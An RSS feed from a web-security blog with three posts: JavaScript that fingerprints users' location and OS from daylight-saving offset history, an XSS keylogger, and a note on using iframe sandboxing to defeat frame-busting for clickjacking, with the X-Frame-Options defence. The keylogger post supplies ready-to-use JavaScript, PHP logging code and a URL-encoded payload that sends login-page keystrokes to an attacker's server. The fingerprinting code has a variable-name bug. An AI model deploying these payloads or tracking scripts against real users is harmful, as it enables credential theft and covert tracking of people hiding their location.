<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web App Security &#187; Javascript</title>
	<atom:link href="http://www.idontplaydarts.com/tag/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.idontplaydarts.com</link>
	<description>PHP &#38; LAMP Stack Security</description>
	<lastBuildDate>Mon, 23 Jan 2012 09:54:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>JavaScript and Daylight Savings for tracking users.</title>
		<link>http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/</link>
		<comments>http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/#comments</comments>
		<pubDate>Sun, 02 Oct 2011 11:35:37 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Browser Fingerprinting]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=553</guid>
		<description><![CDATA[Each country has their own timezone &#8211; although timezones are not generally unique variations in the offset can enable a website using JavaScript to pinpoint your location and operating system to an alarming degree of accuracy. Most countries time differs &#8230; <a href="http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Each country has their own timezone &#8211; although timezones are not generally unique variations in the offset can enable a website using JavaScript to pinpoint your location and operating system to an alarming degree of accuracy. Most countries time differs from UTC by increments of 1 hour and this is generally the case for every 15 degress you travel east or west of the meridian &#8211; of course there are some exceptions, countries such as Iran have offsets of 3hrs 30mins, Nepal (+5:45) and Chatham Island (+12:45). If your unfortunate enough to live in Nepal, Iran, or Chatham Islands its very easy for JavaScript to identify your location just using <a href="http://www.w3schools.com/jsref/jsref_getTimezoneOffset.asp" rel="nofollow">Date.getTimeZoneOffset()</a>. </p>
<p style="text-align: justify;">Similarly the following areas have distinct timezones:</p>
<ul style="float:left; width:300px;">
<li>Marquesas Islands -09:30</li>
<li>Venezuela -04:30</li>
<li>Labrador and Newfoundland -03:30</li>
<li>Brazilian Ocean Islands -02:00</li>
<li>Iran +03:30</li>
<li>Afghanistan +04:30</li>
</ul>
<ul style="float:left;">
<li>Nepal +05:45</li>
<li>Myanmar +06:30</li>
<li>Caiguna-Eucia  +08:45</li>
<li>Lord Howe Island +10:30</li>
<li>Norfolk Island +11:30</li>
<li>Kiribati Line Islands +14:00</li>
</ul>
<p style="text-align: justify; clear:both;">This only affects a few million people in a few specific locations and it makes it hard to establish what country someone is in who shares for example, the -11:00 timezone. However, many countries, states or territories observe or at some stage have experimented with DST (Daylight Savings Time). Mitchigan for example experimented briefly with DST in 1975, Western Australia in 1972 and Fiji in 2009. Places tend to choose different start and end dates and up until 2008 Brazil used to change the time that they entered DST each year. <strong>These differences can be used to distinguish a users country from other countries in the same offset.</strong></p>
<p style="text-align: justify;">Operating systems require a list of these changes in order to know when to change the time. While the name of the timezone and the dates that the clock changes is not directly accessible via the <a href="http://www.w3schools.com/jsref/jsref_obj_date.asp" rel="nofollow">JavaScript Date object</a> the current timezone can be inferred by calculating the dates that the TimeZoneOffset changes. </p>
<p style="text-align: justify;">Using the Date object its possible to loop through all the days from 1970 to 2010 and observe when the TimeZoneOffset changes (1970 is the earliest that the time zone database goes back). By recording the dates when the offset changes we can create a fingerprint that may help to locate a users position:</p>
<pre class="brush: jscript; title: ; notranslate">
var d        = new Date();
var i        = d.getTime();
var oldTime  = d.getTimezoneOffset();
var fp       = '';

d.setTime(0);

for (var i = 0; i &lt; 1317731928000; i += 86400000) {
     d.setTime(i);
     newTime = d.getTimezoneOffset();
     if (newTime != oldTime) {
        timeZone += (newTime + '@' + Math.round(i / 1000) + ';');
        oldTime = newTime;
     }
}
</pre>
<p style="text-align: justify;">When run on Linux in the Firefox browser the script will create strings such as the following which are unique and identify users in New South Wales, Australia:</p>
<div style="font-size:9px;">
<pre class="brush: plain; title: ; notranslate">
-600@39618001; -660@55346401; -600@71067601; -660@86796001; -600@102517201; -660@118850401; -600@134571601; -660@150300001; -600@166021201; -660@181749601; -600@197470801; -660@213199201; -600@228920401; -660@244648801; -600@260370001; -660@276098401; -600@291819601; -660@308152801; -600@323874001; -660@339602401; -600@355323601; -660@371052001; -600@386773201; -660@402501601; -600@418222801; -660@433951201; -600@449672401; -660@466005601; -600@481726801; -660@497455201; -600@513176401; -660@528904801; -600@544626001; -660@560354401; -600@576075601; -660@591804001; -600@607525201; -660@623253601; -600@638974801; -660@655308001; -600@671029201; -660@686757601; -600@702478801; -660@718207201; -600@733928401; -660@749656801; -600@765378001; -660@781106401; -600@796827601; -660@812556001; -600@828882001; -660@844610401; -600@860331601; -660@876060001; -600@891781201; -660@907509601; -600@923230801; -660@938959201; -600@954680401; -660@970408801; -600@986130001; -660@1002463201; -600@1018184401; -660@1033912801; -600@1049634001; -660@1065362401; -600@1081083601; -660@1096812001; -600@1112533201; -660@1128261601; -600@1143982801; -660@1159711201; -600@1175432401; -660@1191765601; -600@1207486801; -660@1223215201; -600@1238936401; -660@1254664801; -600@1270386001; -660@1286114401;
</pre>
</div>
<p style="text-align: justify;">A good example is that of Istanbul (Turkey), Minsk (Belarus) and Jerusalem (Israel) &#8211; All share the +0200 Timezone but all have observed DST at differing times since 1970 creating three different signatures:</p>
<div style="font-size:9px;">
<pre class="brush: plain; title: ; notranslate">
Istanbul:
-180@39132001; -120@57790801; -180@70581601; -120@89240401; -180@102031201; -120@120690001; -180@133480801; -120@152139601; -180@165535201; -120@183589201; -180@196984801; -120@215643601; -180@228434401; -120@247093201; -180@259884001; -120@278542801; -180@291333601; -120@309992401; -180@323388001; -120@341442001; -180@354837601; -120@372891601; -180@386287201; -120@404946001; -180@417736801; -120@436395601; -180@449186401; -120@467845201; -180@480636001; -120@499294801; -180@512690401; -120@530744401; -180@544140001; -120@562194001; -180@575589601; -120@594248401; -180@607039201; -120@625698001; -180@638488801; -120@657147601; -180@669938401; -120@688597201; -180@701992801; -120@720046801; -180@733442401; -120@752101201; -180@764892001; -120@783550801; -180@796341601; -120@815000401; -180@827791201; -120@846450001; -180@859845601; -120@877899601; -180@891295201; -120@909349201; -180@922744801; -120@941403601; -180@954194401; -120@972853201; -180@985644001; -120@1004302801; -180@1017093601; -120@1035752401; -180@1049148001; -120@1067202001; -180@1080597601; -120@1099256401; -180@1112047201; -120@1130706001; -180@1143496801; -120@1162155601; -180@1174946401; -120@1193605201; -180@1207000801; -120@1225054801; -180@1238450401; -120@1256504401; -180@1269900001; -120@1288558801;

Jerusalem:
-180@39477601; -120@55371601; -180@71532001; -120@86821201; -180@102981601; -120@118875601; -180@134431201; -120@150325201; -180@165880801; -120@181774801; -180@197330401; -120@213224401; -180@228780001; -120@244674001; -180@260834401; -120@276123601; -180@292284001; -120@308178001; -180@323733601; -120@339627601; -180@355183201; -120@371077201; -180@386632801; -120@402526801; -180@418082401; -120@433976401; -180@450136801; -120@466030801; -180@481586401; -120@497480401; -180@513036001; -120@528930001; -180@544485601; -120@560379601; -180@575935201; -120@591829201; -180@607989601; -120@623278801; -180@639439201; -120@655333201; -180@670888801; -120@686782801; -180@702338401; -120@718232401; -180@733788001; -120@749682001; -180@765237601; -120@781131601; -180@797292001; -120@812581201; -180@828741601; -120@844635601; -180@860191201; -120@876085201; -180@891640801; -120@907534801; -180@923090401; -120@938984401; -180@955144801; -120@970434001; -180@986594401; -120@1002488401; -180@1018044001; -120@1033938001; -180@1049493601; -120@1065387601; -180@1080943201; -120@1096837201; -180@1112392801; -120@1128286801; -180@1144447201; -120@1159736401; -180@1175896801; -120@1191790801; -180@1207346401; -120@1223240401; -180@1238796001; -120@1254690001; -180@1270245601; -120@1286139601;

Minsk:
-180@39045601; -120@57790801; -180@70495201; -120@89240401; -180@101944801; -120@120690001; -180@133999201; -120@152139601; -180@165448801; -120@183589201; -180@196898401; -120@215643601; -180@228348001; -120@247093201; -180@259797601; -120@278542801; -180@291247201; -120@309992401; -180@323301601; -120@341442001; -180@354751201; -120@372891601; -180@386200801; -120@404946001; -180@417650401; -120@436395601; -180@449100001; -120@467845201; -180@481154401; -120@499294801; -180@512604001; -120@530744401; -180@544053601; -120@562194001; -180@575503201; -120@594248401; -180@606952801; -120@625698001; -180@638402401; -120@657147601; -180@670456801; -120@688597201; -180@701906401; -120@720046801; -180@733356001; -120@752101201; -180@764805601; -120@783550801; -180@796255201; -120@815000401; -180@828309601; -120@846450001; -180@859759201; -120@877899601; -180@891208801; -120@909349201; -180@922658401; -120@941403601; -180@954108001; -120@972853201; -180@985557601; -120@1004302801; -180@1017612001; -120@1035752401; -180@1049061601; -120@1067202001; -180@1080511201; -120@1099256401; -180@1111960801; -120@1130706001; -180@1143410401; -120@1162155601; -180@1174860001; -120@1193605201; -180@1206914401; -120@1225054801; -180@1238364001; -120@1256504401; -180@1269813601; -120@1288558801;
</pre>
</div>
<p style="text-align: justify;">This technique is handy for helping to establish the identify of users who are attempting to mask their locations by using proxy servers alone. Different operating systems may also yield slightly different results enabling you to use this technique to fingerprint both their OS and location.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Javascript keylogger in JQuery.</title>
		<link>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/</link>
		<comments>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/#comments</comments>
		<pubDate>Fri, 20 May 2011 14:13:12 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=385</guid>
		<description><![CDATA[I needed to capture someone&#8217;s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly &#8230; <a href="http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I needed to capture someone&#8217;s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly the HTTPOnly flag was set on the session meaning I couldn&#8217;t hijack it.</p>
<p style="text-align: justify;">So I came up with a solution that turns reflected cross site scripting into a crude form of persistent XSS and records the users keystrokes to a remote server. The idea is that you embed some XSS code in a vulnerable page on the same domain as the login page. Its important that its on the same domain so that we can access the contents of the iframe and hook the keyboard input. If its not on the same domain then the browser won&#8217;t let you do this.</p>
<p style="text-align: justify;">The general architecture of the exploit looks something like this.</p>
<p><a href="http://www.idontplaydarts.com/wp-content/uploads/2011/05/xss.png"><img class="aligncenter size-full wp-image-386" title="XSS Keylogger" src="/wp-content/uploads/2011/05/xss.png" alt="" width="522" height="302" /></a></p>
<p style="text-align: justify;">The page with XSS spawns an iframe that fills up the contents of the window and places it over the top of everything currently in the window. The src of the Iframe should be whatever page you want to capture keystrokes from. It then adds a hook to the contents of the iframe so that every time there is a keypress it polls back to a server controlled by the attacker.</p>
<p style="text-align: justify;">The great thing about using the Iframe is that the user can navigate away from the page and the keystroke logger will still be running as the src of the parent Iframe remains the same and it is the parent Iframe in which the key logger resides.</p>
<p style="text-align: justify;"><strong><em>The code:</em></strong><br />
I used JQuery as I wanted the Key logger to be cross browser compliant, if the site your targeting has JQuery already included then you wont have to embed jQuery and can avoid the script tags all together. I also included a time stamp when sending the keystroke to the remote server as occasionally the GET requests were arriving out of order &#8211; having a time stamp enables you to reassemble the keystrokes in the correct order server-side.</p>
<pre class="brush: jscript; title: ; notranslate">
&lt;script src=&quot;http://code.jquery.com/jquery-1.6.1.min.js&quot;&gt;&lt;/script&gt;
&lt;iframe src=&quot;/login.php&quot; id=&quot;w&quot; style=&quot;width:100%; height:100%; position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;&quot; onload=&quot;$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&amp;t='+event.timeStamp,function(data){});});&quot;&gt;&lt;/iframe&gt;
</pre>
<p style="text-align: justify;">You don&#8217;t even need server side code to do the logging, as long as you have access to your web server error logs you should be able to see all the keystrokes arriving as GET requests. If you did want more friendly server-side code it might look something like this:</p>
<pre class="brush: php; title: ; notranslate">
$f = fopen(&quot;/tmp/log.txt&quot;,&quot;a+&quot;);
fputs($f, $_SERVER['REMOTE_ADDR'] . &quot;\t&quot; . $_GET['t'] . &quot;\t&quot; . chr($_GET['x']) . &quot;\n&quot;);
fclose($f);
</pre>
<p style="text-align: justify;"><strong><em>Encoding the payload:</em></strong><br />
The full url encoded payload is shown below, both the initial Iframe src page and the destination script for the key strokes are marked in bold. Both will need to be changed if you are to use this.</p>
<blockquote><p>
%3Cscript+src%3D%22http%3A%2F%2Fcode.jquery.com%2Fjquery-1.6.1.min.js%22%3E%3C%2Fscript%3E%3Ciframe+src%3D%22<strong>%2Flogin.php</strong>%22+id%3D%22w%22+style%3D%22width%3A100%25%3B+height%3A100%25%3B+position%3Aabsolute%3B+top%3A0%3B+left%3A0%3B+z-index%3A2%3B+background-color%3A%23ffffff%3B%22+onload%3D%22%24%28%27%23w%27%29.contents%28%29.keypress%28function%28event%29+%7B%24.get%28%27http%3A%2F%2F<strong>www.mysite.com%2Fk.php</strong>%3Fx%3D%27%2Bevent.which%2B%27%26t%3D%27%2Bevent.timeStamp%2Cfunction%28data%29%7B%7D%29%3B%7D%29%3B%22%3E%3C%2Fiframe%3E
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/05/javascript-keylogger-in-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Clickjacking and Phishing with help from the HTML5 JavaScript Sandbox</title>
		<link>http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/</link>
		<comments>http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/#comments</comments>
		<pubDate>Sun, 01 May 2011 05:36:19 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Clickjacking]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Sandbox]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=338</guid>
		<description><![CDATA[HTML5 has some nice new features one of which is JavaScript Sandboxing using iframes. Chrome is currently the only browser to support this but you can be sure others will soon follow. The sandbox allows control over what can be &#8230; <a href="http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">HTML5 has some nice new features one of which is <a href="http://blog.chromium.org/2010/05/security-in-depth-html5s-sandbox.html" rel="nofollow">JavaScript Sandboxing using iframes</a>. Chrome is currently the only browser to support this but you can be sure others will soon follow. The sandbox allows control over what can be executed within an iframe, it provides the following options.</p>
<ul>
<li><strong>allow-same-origin</strong> allows iframe content only from the same domain.</li>
<li><strong>allow-top-navigation</strong> allows the iframe to change the URI of the parent.</li>
<li><strong>allow-forms</strong> allows the use of forms inside the iframe.</li>
<li><strong>allow-scripts</strong> allows JavaScript to run inside the iframe.</li>
</ul>
<p>If no options are specified for the sandbox then the iframe can only display basic HTML. It can be implemented using the iframe sandbox property as follows:</p>
<pre class="brush: xml; title: ; notranslate">
&lt;iframe src=&quot;page.php&quot; sandbox=&quot;allow-forms allow-scripts&quot;&gt;
&lt;/iframe&gt;
</pre>
<p style="text-align: justify;">The feature is great for an attacker as it allows them to now include pages inside an iframe that previously had some Javascript iframe breakout code in place. This is great for <a href="https://www.owasp.org/index.php/Clickjacking"  rel="nofollow">Clickjacking</a> or <a href="http://www.contentverification.com/hidden-frame/" rel="nofollow">Phishing</a> attacks. Lets take a look the most popular way of breaking out of an iframe and show how by simply sandboxing the iframe we can prevent the JavaScript breakout code from working.</p>
<pre class="brush: xml; title: ; notranslate">
&lt;script type=&quot;text/javascript&quot;&gt;
	if (top.location!= self.location) {
		top.location = self.location.href
	}
&lt;/script&gt;
</pre>
<p style="text-align: justify;">And this method works great unless the script has been loaded in a sandboxed iframe that doesn&#8217;t have the sandboxing options &#8220;allow-top-navigation&#8221; and &#8220;allow-scripts&#8221; enabled. </p>
<p style="text-align: justify;">Without either of these options the script just wont work. The great thing is we have some level of granular control, you can have &#8220;allow-scripts&#8221; on your iframe (which will allow all the JavaScript found in the iframe to run) but you can omit the &#8220;allow-top-navigation&#8221; which will stop the JavaScript iframe breakout. </p>
<p style="text-align: justify;">There is an elegant solution to prevent this type of attack &#8211; the HTTP header &#8220;<a href="https://blog.mozilla.com/security/2010/09/08/x-frame-options/">X-Frame-Options</a>&#8221; &#8211; which is now supported in the latest versions of IE, Firefox, Safari and Chrome. It allows the server to specify if it should allow its content to be loaded from within an iframe by either pages from the same domain (SAMEORIGIN), or not at all (DENY). Surprisingly there aren&#8217;t many sites using it. </p>
<p style="text-align: justify;">If your running apache with mod_headers installed you can automatically add this header to all of your pages by adding the following lines to your apache.conf</p>
<pre class="brush: plain; title: ; notranslate">
Header always append X-Frame-Options SAMEORIGIN
</pre>
<p style="text-align: justify;">Don&#8217;t forget, X-Frame-Options isn&#8217;t supported in older browsers so its still worth keeping your existing JavaScript iframe breakout code in place.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/05/clickjacking-and-phishing-with-help-from-the-html5-javascript-sandbox/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

